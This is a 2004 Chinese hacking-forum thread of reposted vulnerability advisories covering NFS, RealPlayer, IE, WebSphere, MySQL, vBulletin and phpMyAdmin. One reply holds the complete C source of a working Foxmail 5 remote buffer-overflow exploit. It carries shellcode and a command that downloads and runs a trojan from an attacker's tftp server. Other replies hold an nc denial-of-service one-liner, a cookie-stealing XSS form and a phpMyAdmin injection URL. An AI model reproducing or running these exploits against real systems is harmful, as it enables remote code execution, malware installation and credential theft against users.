论坛: 菜鸟乐园 标题: 最新漏洞简介(喜欢研究漏洞的朋友可以来看下) 复制本贴地址    
作者: hacker521 [hacker521]    论坛用户   登录
NFS-Utils rpc.mountd远程拒绝服务攻击漏洞

发布日期:2004-03-06
更新日期:2004-03-12

受影响系统:
nfs nfs-utils 1.0.6
- Trustix Secure Linux 2.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 9813

Linux NFS utils是网络文件系统实现。

rpc.mountd存在未明安全问题,部分不正确的DNS设置可导致rpc.mountd崩溃。

目前没有详细漏洞细节提供。

<*来源:Trustix Secure Linux Security Advisory

链接:http://www.securityfocus.com/advisories/6426
*>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Trustix
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

nfs nfs-utils 1.0.6:

Trustix Upgrade nfs-utils-1.0.6-1tr.i586.rpm
ftp://ftp.trustix.org/pub/trustix/updates/2.0/rpms/nfs-utils-1.0.6-1tr.i586.rpm



[此贴被 无风之夜(hacker521) 在 07月07日12时25分 编辑过]

地主 发表时间: 04-04-03 16:45

回复: Idof [idof]   论坛用户   登录
这玩意搞不明白

B1层 发表时间: 04-04-03 17:30

回复: chiru [chiru]   论坛用户   登录
崩溃漏洞不感兴趣。有溢出漏洞就强烈关注。

B2层 发表时间: 04-04-03 17:32

回复: snowred [snowred]   论坛用户   登录
同意楼上
斑竹多发溢出漏洞多好呀!!
呵呵

B3层 发表时间: 04-04-03 18:38

回复: hacker521 [hacker521]   论坛用户   登录
Foxmail 5远程缓冲区溢出漏洞

注:本文是2004年2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码。2004年3月18日启明星辰公布漏洞并发布相关补丁。

测试环境:win2k sp4+foxmail 5.0.300

以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。

问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。

具体处理过程如下:
.text:10002040 public UrlToLocal
.text:10002040 UrlToLocal proc near
.text:10002040
.text:10002040 arg_0 = dword ptr 4
.text:10002040 arg_4 = dword ptr 8
.text:10002040
.text:10002040 mov eax, dword_1000804C
.text:10002045 mov ecx, dword_10008030
.text:1000204B mov edx, [esp+arg_4]
.text:1000204F push offset aHttp ; "http://"
.text:10002054 push eax
.text:10002055 mov eax, [esp+8+arg_0]
.text:10002059 push offset unk_10008034
.text:1000205E push ecx
.text:1000205F push edx
.text:10002060 push eax
.text:10002061 call sub_10002070 ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容

.text:10002070 sub_10002070 proc near ; CODE XREF: UrlToLocal+21p
.text:10002070 ; EmailAdrToLocal+107p
.text:10002070
.text:10002070 var_600 = dword ptr -600h
.text:10002070 var_500 = dword ptr -500h
.text:10002070 var_400 = dword ptr -400h
.text:10002070 var_300 = dword ptr -300h
.text:10002070 var_200 = dword ptr -200h
.text:10002070 var_100 = dword ptr -100h
.text:10002070 arg_0 = dword ptr 4
.text:10002070 arg_4 = dword ptr 8
.text:10002070 arg_8 = dword ptr 0Ch
.text:10002070 arg_C = dword ptr 10h
.text:10002070 arg_10 = dword ptr 14h
.text:10002070 arg_14 = dword ptr 18h
.text:10002070
.text:10002070 mov edx, [esp+arg_0]
.text:10002074 sub esp, 600h
......
.text:100020DF push eax
.text:100020E0 push ecx
.text:100020E1 push ebx
.text:100020E2 call sub_10001A30 ;调用10001A30,就是这个函数里面溢出了

.text:10001A30 sub_10001A30 proc near ; CODE XREF: sub_10002070+72p
.text:10001A30 ; sub_10002290+95p
.text:10001A30
.text:10001A30 var_104 = dword ptr -104h
.text:10001A30 var_100 = dword ptr -100h
.text:10001A30 arg_0 = dword ptr 4
.text:10001A30 arg_4 = dword ptr 8
.text:10001A30 arg_8 = dword ptr 0Ch
.text:10001A30 arg_C = dword ptr 10h
.text:10001A30 arg_10 = dword ptr 14h
.text:10001A30 arg_14 = dword ptr 18h
.text:10001A30
.text:10001A30 sub esp, 104h ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200
.text:10001A36 push ebx
.text:10001A37 mov ebx, [esp+108h+arg_0]
.text:10001A3E push ebp
.text:10001A3F mov ebp, [esp+10Ch+arg_10]
.text:10001A46 push esi
.text:10001A47 xor esi, esi
......
.text:10001AA9 sub edi, ecx
.text:10001AAB mov eax, ecx
.text:10001AAD mov esi, edi
.text:10001AAF mov edi, edx
.text:10001AB1 shr ecx, 2
.text:10001AB4 rep movsd ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里
.text:10001AB6 mov ecx, eax
.text:10001AB8 and ecx, 3
.text:10001ABB rep movsb
......
.text:10001AE7 mov edi, [esp+114h+arg_C]
.text:10001AEE shr ecx, 2
.text:10001AF1 rep movsd ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0
.text:10001AF3 mov ecx, eax
.text:10001AF5 and ecx, 3
.text:10001AF8 rep movsb
......
.text:10001BD7 pop edi
.text:10001BD8 pop esi
.text:10001BD9 pop ebp
.text:10001BDA pop ebx
.text:10001BDB add esp, 104h
.text:10001BE1 retn ;返回的时候就会回到我们的JMP ESP地址去

这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,\r,\n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。

有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。

/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
* -----------------------------------------------------------------------
* Author : xfocus <webmaster@xfocus.org>
* : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version : 0.2
*
* Test : Windows 2000 server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : unpublished vul.
* Greets : all member of XFOCUS Security Team.
* Complie : cl fmx.c
* Usage : fmx <mail_addr> <tftp_server> <smtp_server>
* mail_addr: email address we wantto hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* 2003-03-05 call WinExec() addr of Foxmail.exe module to run tftp for down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

//mail body, it's based on a real spam email, heh
unsigned char packet[] =
"From: %s\r\n" //buffer to overrun
"Subject: Hi,man\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed; boundary=\"87122827\"\r\n"
"\r\n"
"\r\n"
"--87122827\r\n"
"Content-Type: text/plain; charset=us-ascii\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"T\r\n"
"\r\n"
"--87122827\r\n"
"Content-Disposition: attachment\r\n"
"Content-Type: Text/HTML;\r\n"
" name=\"girl.htm\"\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"<html></html>\r\n"
"--87122827--\r\n"
"\r\n"
".\r\n";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])
{
WSADATA WSAData;
char *mailaddr = NULL;
char *tftp = NULL;
char *smtpserver = NULL;

if(argc!=4)
{
printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);
return 1;
}
mailaddr=argv[1];
tftp=argv[2];
smtpserver=argv[3];

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}

//WinExec() address
SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

WSACleanup();

return 0;
}

// 建立TCP连接
// 输入:
// char * address IP地址
// int port 端口
// int timeout 延时
// 输出:
// 返回:
// 成功 >0
// 错误 <=0

int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;

target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}

//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
SOCKET csock;
int ret,i=0;
char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
csock = Make_Connection(smtpserver, SMTPPORT, 10);
if(csock<0)
{
printf("connect err.\n");
exit(1);
}

memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM: info@sina.com\r\n"), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);
ret=send(csock, tmp,strlen(tmp), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);
Sleep(1000);

ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

printf("send exploit mail...\n");
memset(sbuf, 0, sizeof(sbuf));
memset(buf, 0, sizeof(buf));
memset(buf, 0x41, sizeof(buf)-1);
memset(tmp, 0, sizeof(tmp));
//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");
sprintf(tmp1, tmp, tftp);
memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
*(int *)(buf+0x104)=0x80eb80eb; //jmp back
*(int *)(buf+0x108)=0x7ffdf220; //writeable addr
*(int *)(buf+0x110)=0x7ffdf220; //writeable addr
memcpy(buf, "girl\x0d", 5);
sprintf(sbuf, (char *)packet, buf);

ret=send(csock, sbuf,strlen(sbuf), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);
printf("exploit mail sent.\n");
closesocket(csock);
return 0;
}



原作者: root
来 源: http://www.xfocus.net

B4层 发表时间: 04-04-03 20:26

回复: hacker521 [hacker521]   论坛用户   登录
RealPlayer发现严重漏洞 黑客可劫持用户PC搞破坏

4月8日消息,据英国一家私营安全研究机构NGS软件公司警告称,RealNetworks公司的RealPlayer媒体播放软件存在一个潜在的严重安全漏洞,能够让恶意黑客劫持存在这种漏洞的计算机。

据NGS软件公司称,这个安全漏洞影响RealPlayer 8、RealOne Player、RealOne Player适用于Windows的第二版(所有语言版本), RealPlayer 10测试版(英文版)和RealPlayer企业版。独立安全咨询公司Secunia把这个安全漏洞的等级定为“非常严重”。

RealOne/RealPlayer被认为是应用最普遍的一种媒体播放软件,全球预计有2亿用户。据NGS软件公司警告说,恶意黑客可以精心制作变形的.R3T文件造成这个媒体播放软件出现缓存溢出的安全漏洞。当用户打开在电子邮件附件中的.R3T文件时,或者使用网络浏览器到一个包含这种文件的网站时,黑客就可以在用户登录之后在用户的计算机上运行代码。

RealNetworks公司证实了NGS软件公司发现的安全漏洞,但是,该公司表示,只有在用户以前下载过专门的R3T软件插件的情况下才会受到这种安全漏洞的影响。最新版本的“RealPlayer 10 Gold”也不受这个安全漏洞的影响,因为在安装过程中取消了受影响的组件。

RealNetworks的媒体播放软件出现安全漏洞已经不是第一次了。去年4月份就出现过一次。最近的一次是在最终版本的RealPlayer 10媒体播放软件发布的第二天就发现了安全漏洞。RealNetworks称,这个软件是第一个免费的能够播放各种媒体格式的软件。

RealNetworks表示,最新的媒体播放软件拥有嵌入的音乐商店,能够播放RealAudio、RealVideo、AAC、Windows Media、QuickTime MPEG-4和MP3等多种格式的媒体文件。

B5层 发表时间: 04-04-10 16:55

回复: hacker521 [hacker521]   论坛用户   登录
IE浏览器发现致命漏洞 目前官方尚未发布解决方案

  新浪科技讯 近日,美国计算机应急响应小组(Computer Emergency Readiness Team,简称CERT)公布了微软IE浏览器中存在的一个最新漏洞,目前这一漏洞还没有完善的解决方案,用户即使采取了一定的保护措施仍然不能完全避免该漏洞所带来的危险。

  利用这一漏洞,入侵者可以欺骗IE浏览器中的InfoTech Storage(ITS)协议处理器,使之从其它域获取脚本,并获得同目标计算机上本地区域相同的权限。CERT指出,入侵者在访问某一网站时通过使用一个特殊的URL地址就可以执行上述脚本,从而获得他人的信用卡信息甚至是造成整个网络瘫痪。

  这一漏洞的工作原理如下:IE浏览器通过ITS或者MHTML协议来标识一个不能访问或是不存在的MHTML文件;当IE浏览器没有发现编译完成的HTML帮助文件(CHM)时,ITS协议处理器就可能会受到欺骗从而访问来自其它域的CHM文件。此时入侵者就可以通过对CHM文件进行精心设计,使之包含可以从其它域执行的脚本,从而交叉域安全模式也就被入侵者攻破了。

  通常情况下,如果IE浏览器存在漏洞,用户可以选择使用Opera或是Netscape等浏览器直至相关补丁推出,但CERT指出这次的漏洞却不能通过这种方法解决。因为此次的漏洞不仅仅存在于IE浏览器,同时也会影响到所有使用WebBrowser ActiveX控件或MSHTML的应用程序,如Outlook以及Outlook Express。

  CERT同时称,甚至禁用Active脚本以及ActiveX控件都不能规避所有的危险,而是仅仅能减少受到几种特定类型攻击的可能。对于普通用户和网络管理员来说,解决这一问题较好的方法是访问注册表中“HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\”项,禁用“ms-its,”、“msitss,”以及“its,mk”键值。

  通常,人们都认为安全机构不应当在软件开放商推出补丁之前公布漏洞细节,但这次美国CERT的做法事出有因:其一是目前互联网上已经出现利用这一IE最新漏洞的木马病毒,另一方面是因为微软在解决类似漏洞的过程中行动过于迟缓。CERT在建议中指出,互联网用户近一段时间应当尽量避免点击在电子邮件、即时信息、网络论坛以及IRC聊天室中出现的陌生URL链接。

  微软计划在周二(美国当地时间)发布每月例行安全更新,目前该公司发言人还没有明确表示届时是否会发布针对这一IE漏洞的补丁,或者今年8月发布的一个用于解决类似漏洞的补丁是否会对这一最新漏洞生效。

B6层 发表时间: 04-05-01 14:02

回复: hacker521 [hacker521]   论坛用户   登录
IBM Websphere Edge Server远程拒绝服务漏洞

发布日期:2004-07-02
更新日期:2004-07-06

受影响系统:
IBM WebSphere Caching Proxy Server 5.02
IBM Websphere Edge server Caching proxy 5.02
不受影响系统:
IBM WebSphere Caching Proxy Server 5.0
IBM Websphere Edge server Caching proxy 5.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 10651

IBM WebSphere Edge Server是一款提高电子商务系统性能的解决方案。

IBM WebSphere Edge Server包含的缓冲代理组件在部分配置下存在问题,远程攻击者可以利用这个漏洞对应用程序进行拒绝服务攻击。

如果IBM WebSphere Edge Server使用了JunctionRewrite配置选项,那么攻击者可以通过提交无参数的GET HTTP方法请求使应用程序崩溃。

<*来源:Leandro Meiners (lmeiners@cybsec.com)

链接:http://www.securitytracker.com/alerts/2004/Jul/1010639.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Leandro Meiners (lmeiners@cybsec.com)提供了如下测试方法:

echo ?GET? | nc www.example.com <proxy_port>

建议:
--------------------------------------------------------------------------------
厂商补丁:

IBM
---
IBM已经发布了补丁解决此问题,不过此补丁只提供给支持2或者3级别的客户使用。另外当Websphere version 5.0.3发布时,也包含了此补丁。
http://www.ers.ibm.com/

B7层 发表时间: 04-07-07 12:23

回复: hacker521 [hacker521]   论坛用户   登录

MySQL验证绕过缓冲区溢出漏洞

发布日期:2004-07-05
更新日期:2004-07-06

受影响系统:
MySQL AB MySQL 5.0
MySQL AB MySQL 4.1.2
MySQL AB MySQL 4.1.1
MySQL AB MySQL 4.1.0
不受影响系统:
MySQL AB MySQL 4.1.3
描述:
--------------------------------------------------------------------------------
MySQL是一款开放源代码关系型数据库系统。

MySQL验证机制实现存在问题,远程攻击者可以利用这个漏洞无需用户密码通过验证。

通过提交特殊构建的验证包,可使攻击者绕过MySQL 4.1中的密码验证。

check_connection (sql_parse.cpp), 837行中:

/*
Old clients send null-terminated string as password; new clients send
the size (1 byte) + string (not null-terminated). Hence in case of
empty
password both send '\0'.
*/
uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
*passwd++ : strlen(passwd);

在'client capabilities'标记中提供0x8000,用户可以按照他们的选择指定passwd_len字段。用于这个攻击,选择0x14 (20)作为SHA HASH长度。

然后是几个用于确保用户来自许可主机的检查。这些检查通过后,就会进入如下代码:

/* check password: it should be empty or valid */
if (passwd_len == acl_user_tmp->salt_len)
{
if (acl_user_tmp->salt_len == 0 ||
acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
check_scramble_323(passwd, thd->scramble,
(ulong *) acl_user_tmp->salt) == 0)
{
acl_user= acl_user_tmp;
res= 0;
}
}

check_scramble函数失败,但内部的check_scramble_323函数我们可以看到:

my_bool
check_scramble_323(const char *scrambled, const char *message,
ulong *hash_pass)
{
struct rand_struct rand_st;
ulong hash_message[2];
char buff[16],*to,extra; /* Big enough for check */
const char *pos;

hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
randominit(&rand_st,hash_pass[0] ^ hash_message[0],
hash_pass[1] ^ hash_message[1]);
to=buff;
for (pos=scrambled ; *pos ; pos++)
*to++=(char) (floor(my_rnd(&rand_st)*31)+64);
extra=(char) (floor(my_rnd(&rand_st)*31));
to=buff;
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; /* Wrong password */
}
return 0;
}

在这里,用户可以任意指定一'scrambled'字符串长度,因此使用零长度字符串可绕过验证,在最后的比较中由于'scrambled'字符串没有字符,使函数返回'0',允许用户以零长度字符串绕过验证。

另外基于堆栈的缓冲区'buff'可以通过超长'scramble'字符串溢出,缓冲区被从my_rnd()函数输出的字符溢出,字符范围是0x40..0x5f,在部分平台下可能可以导致任意代码执行。

<*来源:NGSSoftware (mark@ngssoftware.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108904917528205&w=2
*>

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 由于此攻击需要知道用户名,因此可以更改MySQL 'ROOT'帐户的默认名,并限制连接主机。

厂商补丁:

MySQL AB
--------
MySQL AB 4.1.3已经修补此漏洞,或者5.0 Build版本也已经修正此问题

B8层 发表时间: 04-07-07 12:24

回复: hacker521 [hacker521]   论坛用户   登录
vBulletin newreply.php跨站脚本漏洞

发布日期:2004-06-25
更新日期:2004-06-30

受影响系统:
VBulletin VBulletin 3.0.1
VBulletin VBulletin 3.0 Gamma
VBulletin VBulletin 3.0 beta 7
VBulletin VBulletin 3.0 beta 6
VBulletin VBulletin 3.0 beta 5
VBulletin VBulletin 3.0 beta 4
VBulletin VBulletin 3.0 beta 3
VBulletin VBulletin 3.0 beta 2
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 10612

vBulletin是一款基于WEB的论坛程序。

vBulletin包含的newreply.php没有正确过滤用户提交的URI输入,远程攻击者可以利用这个漏洞获得目标用户敏感信息如COOKIE验证信息。

当用户预览帖子时,newreply.php和newthread.php都对Preview中的输入缺少过滤,攻击者可以注入恶意脚本代码,当其他用户查看此链接时,可导致恶意代码在用户浏览器上执行,可获得基于验证的COOKIE信息。

<*来源:Cheng Peng Su (apple_soup@msn.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108809720026642&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

-------------------------Remote.html-------------------------
<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="javascript:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>
-----------------------------End----------------------------

建议:
------------------------------------------------------------
厂商补丁:

VBulletin
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.vbulletin.com/

B9层 发表时间: 04-07-07 12:26

回复: hacker521 [hacker521]   论坛用户   登录
phpMyAdmin远程PHP代码注入漏洞

发布日期:2004-06-29
更新日期:2004-07-01

受影响系统:
phpMyAdmin phpMyAdmin 2.5.7
描述:
--------------------------------------------------------------------------------
phpMyAdmin是一个免费工具,为管理MySQL提供了一个WWW管理接口。

phpMyAdmin存在PHP代码注入问题,远程攻击者可以利用这个eval()函数执行任意PHP命令。

不过此漏洞只有当$cfg['LeftFrameLight']变量(config.inc.php文件)设置成FALSE时才有用。

phpMyAdmin在($cfg['Servers'][$i])数组变量中存储多个服务器配置,这些配置包含在config.inc.php文件中,信息包括主机、端口、用户、密码、验证类型等,但是由于$cfg['Servers'][$i]没有进行初始化,允许远程用户通过GET函数增加服务器的配置,如提交如下请求增加配置:
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][host]=202.81.x.x&cfg[Servers][port]=8888&cfg[Servers][user]=alice ..

而eval()函数中的$eval_string字符串允许执行PHP代码,攻击者可以增加服务器配置和提交特殊构建的表名,可导致包含的恶意PHP代码被执行。

<*来源:Nasir Simbolon (nasir@kecapi.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108852967412360&w=2
*>

建议:
--------------------------------------------------------------------------------
厂商补丁:

phpMyAdmin
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpmyadmin.net

B10层 发表时间: 04-07-07 12:28

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号